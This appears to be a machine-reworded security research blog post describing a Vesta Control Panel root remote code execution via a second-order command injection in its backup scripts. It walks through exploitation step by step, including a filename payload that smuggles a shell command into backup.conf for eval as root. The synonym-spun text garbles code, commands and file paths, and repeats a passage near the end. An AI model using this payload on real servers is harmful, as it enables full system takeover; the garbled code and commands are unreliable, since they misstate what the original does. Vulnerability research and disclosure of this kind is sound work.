Vesta Control Panel –

I accept that doing a security research is tied in with attempting to see significant level of design of the items and finding an inventive assault vectors.

I trust this blog entry will tell some the perusers the best way to begin doing security research.


You can introduce that product Debian/Ubuntu or CentOS. I’ve introduced it on Ubuntu 18.10 x64 by following 3 stages at

# Connect to your worker as root by means of SSH

ssh [email protected]

# Download establishment content

twist – O

# Run it


Vuln 0x01 – Security Design of Bash Script Executions

During static examination of the web application, I’ve seen heaps of slam content execution behind the scene. Let me give your one model from login process.

/VESTA_CMD variable definition is as follow.

define(‘VESTA_CMD’, ‘/usr/receptacle/sudo/usr/nearby/vesta/container/’);

/… Precluded CODE…

on the off chance that (isset($_POST[‘user’]) && isset($_POST[‘password’])) {

if(isset($_SESSION[‘token’]) && isset($_POST[‘token’]) && $_POST[‘token’] == $_SESSION[‘token’]) {

$v_user = escapeshellarg($_POST[‘user’]);

$v_ip = escapeshellarg($_SERVER[‘REMOTE_ADDR’]);

/Get client’s salt

$output = ”;

executive (VESTA_CMD.”v-get-client salt “.$v_user.” “.$v_ip.” json” , $output, $return_var);

$pam = json_decode(implode(”, $output), valid);

/… Precluded CODE…

Obviously, having an info approval on client boundary would be better regardless of whether it’s safely utilized in executive() call. So as to locate a potential uncertain use of executive() work call, I’ve surveyed all the source code however couldn’t discover any. Meanwhile, you may considering sudo order toward the start of the VESTA_CMD variable. Indeed, all the slam contents will be executed by sudo parallel through overseer interface (PHP).

Following screen capture show that PHP-FPM process is running with administrator client benefits, which is competent executing sudo order and in the end executes slam contents.

With the goal that implies, administrator client must have a root benefits. Here is the substance of the sudoers document. Slam contents, executables shouldn’t be executed under the setting of advantaged accounts, particularly with client controllable facts.

[email protected]:~# feline/and so forth/sudoers|grep administrator

# Members of the administrator gathering may pick up root benefits

%admin ALL=(ALL) ALL

[email protected]:~#

As I said previously, all executive() or comparative capacity calls has been safely utilized in the code base. That implies, we can NOT legitimately have order infusion weakness. However, consider the possibility that we can locate an unreliable order inside one of the slam content with a client controllable variable ?.

Vuln 0x02 – Second Order RCE on Backup Process

While I was auditing slam content of a portion of the functionalists, one thing grabbed my eye. At the point when you send GET solicitation to the https://url:8083/plan/reinforcement/endpoint, it will executed after PHP codes.


$v_username = escapeshellarg($user);

executive (VESTA_CMD.”v-plan client reinforcement “.$v_username, $output, $return_var);

How about we examine substance of the v-plan client reinforcement slam content record.


# Argument definition


# Includes

source $VESTA/func/

source $VESTA/conf/vesta.conf

check_args ‘1’ “$#” ‘Client’

is_format_valid ‘client’

is_system_enabled “$BACKUP_SYSTEM” ‘BACKUP_SYSTEM’

is_object_valid ‘client’ ‘Client’ “$user”


is_backup_scheduled ‘reinforcement’

# Adding reinforcement assignment to the line


reverberation “$BIN/v-reinforcement client $user yes >> $log 2>&1” >>


# Logging

log_event “$OK” “$ARGUMENTS”


Nothing fascinating up until this point. We can NOT control client variable, since it’s originating from meeting. Be that as it may, v-plan client reinforcement is executing v-reinforcement client record. How about we continue perusing. That slam contents does what it says, it accumulates all the information identified with our client and pack it as a tar.gz record.

That slam content has 945 line of code. Thus, I’m just indicating significant parts.

Following code segment is taken lines between 900-920 from v-reinforcement client document. It composes different variable into the backup.conf document (that will be significant later!)

# Registering new reinforcement


backup_str=”$backup_str TYPE=’$BACKUP_SYSTEM’ SIZE=’$size'”

backup_str=”$backup_str WEB=’${web_list//,}'”

backup_str=”$backup_str DNS=’${dns_list//,}'”

backup_str=”$backup_str MAIL=’${mail_list//,}'”

backup_str=”$backup_str DB=’${db_list//,}'”

backup_str=”$backup_str CRON=’$cron_list'”

backup_str=”$backup_str UDIR=’${udir_list//,}'”

backup_str=”$backup_str RUNTIME=’$run_time’ TIME=’$time’ DATE=’$date'”

reverberation “$backup_str” >> $USER_DATA/backup.conf

One of the variable is 9. line udir_list , which is being populated by chasing after code area line 400-450 in the code base.

for udir in $(ls – a |egrep – v “^conf$|^web$|^dns$|^mail$|^..$|^.$”); do

exclusion=$(echo “$USER” |tr ‘,’ ‘n’ |grep “^$udir$”)

on the off chance that [ – z “$exclusion” ]; at that point

((I ++))

udir_list=”$udir_list $udir”

reverberation – e “$(date “+%F %T”) including $udir” |tee – a $BACKUP/$user.log

# Backup records and dirs

tar – moored – cpf-${fargs[@]} $udir |gzip – $BACKUP_GZIP – > $tmpdir/user_dir/$udir.tar.gz



It fundamentally fills in as follow all together:

–        Get speficis envelope names and records start with specks.

–        Compress them into the reinforcement record.

–        Replace spaces inside the record and additionally organizer names if there should arise an occurrence of whitespace. (that will be significant as well)

At long last you will have your tar reinforcement document on your client’s envelope. It would be ideal if you keep that data in your psyche, we’ll return here later ! Presently how about we see what’s going on when your rundown existing reinforcement record through web board.

Posting Existing Backup

Following URL can be utilized to list current reinforcements. https://URL:8083/list/reinforcement/

executive (VESTA_CMD.”v-list-client reinforcement $user “.escapeshellarg($_GET[‘backup’]).” json”, $output, $return_var);

$data = json_decode(implode(”, $output), valid);

$data = array_reverse($data,true);


That endpoint will execute v-list-client reinforcements slam content document with client, reinforcement and json factors recovers some data about client’s reinforcement and shows them on web ui.

We should view v-list-client reinforcement execution. It would be ideal if you keep that in your brain, we are intrigued with json yield.

json_list() {


Allright, that is intriguing : ) Content of the client’s backup.conf record perused and string is being passed to the eval J It’s an ideal opportunity to recall first phase of that report, backup.conf is being made with different boundary (recollect udir_list)

[email protected]:~# feline/usr/nearby/vesta/information/clients/user01/backup.conf

BACKUP=’user01.2020-03-13_13-40-01.tar’ TYPE=’local’ SIZE=’1′ WEB=” DNS=” MAIL=” DB=” CRON=” UDIR=’.bash_logout,.bashrc,.profile,tmp’ RUNTIME=’1′ TIME=’13:40:01′ DATE=’2020-03-13′

[email protected]:~#

Here is the substance of the backup.conf document. All the records begins with spot is in the UDIR definiton with single statements and gratitude to best working framework ever Linux, we can utilize single statements in the documents name 🙂 We can interface our client’s homefolder with FTP and renamed .bash_logout record with something .bash_logout’;$(PAYLOAD);’ will be our payload.


1 – User login to the FTP

2 – Renamed the .bash_logout with bash_logout’;$(sleep${IFS}1337);’ ! blank area will break the payload. Recall sed order on the previouse area!

3 – User login to the web application.

4 – Trigger the reinforcement procedure.

5 – When the reinforcement procedure completed, hold up like 3-4 minutes, Here is the substance of the backup.conf with embedded payload.

[email protected]:~# feline/usr/nearby/vesta/information/clients/user01/backup.conf

BACKUP=’user01.2020-03-13_13-40-01.tar’ TYPE=’local’ SIZE=’1′ WEB=” DNS=” MAIL=” DB=” CRON=” UDIR=’.bash_logout’;$(sleep${IFS}1337);’,.bashrc,.profile,tmp’ RUNTIME=’1′ TIME=’13:40:01′ DATE=’2020-03-13′

6 – Go to where we trigger the v-list-client reinforcement slam content execution. v-list-client reinforcement will peruse the substance of the backup.conf document which contains our payload in the filename changed by means of FTP on stage 2.

7 – eval is being called.

8 – Thanks to the main weakness, that order will be executed as a root !


Ofcourse executing a rest order with root benefits isn’t sufficient ! Here is the Metasploit module in real life fellers !

One of the serious issue about misuse is that we have length constraint on document name 🙂 Also space inside the record name is taboo since it breaks slam content eval order. So you might need to peruse Metasploit module’s source code so as to perceive how I figured out how to beat these issues.

n’ i=1 objects=$(grep BACKUP $USER_DATA/backup.conf |wc – l) reverberation “{” while read str; do eval $str reverberation – n ‘ “‘$BACKUP'”: { “TYPE”: “‘$TYPE'”, “SIZE”: “‘$SIZE'”, “WEB”: “‘$WEB'”, “DNS”: “‘$DNS'”, “MAIL”: “‘$MAIL'”, “DB”: “‘$DB'”, “CRON”: “‘$CRON'”, “UDIR”: “‘$UDIR'”, “RUNTIME”: “‘$RUNTIME'”, “TIME”: “‘$TIME'”, “DATE”: “‘$DATE'” }’ on the off chance that [ “$i” – lt “$objects” ]; at that point reverberation ‘,’ else reverberation fi ((i++)) done < <(cat $USER_DATA/backup.conf) reverberation ‘}’ }

Allright, that is fascinating : ) Content of the client’s backup.conf record perused and string is being passed to the eval J It’s an ideal opportunity to recollect first phase of that report, backup.conf is being made with various boundary (recall udir_list)

Here is the substance of the backup.conf document. All the documents begins with speck is

Leave a Reply

Your email address will not be published. Required fields are marked *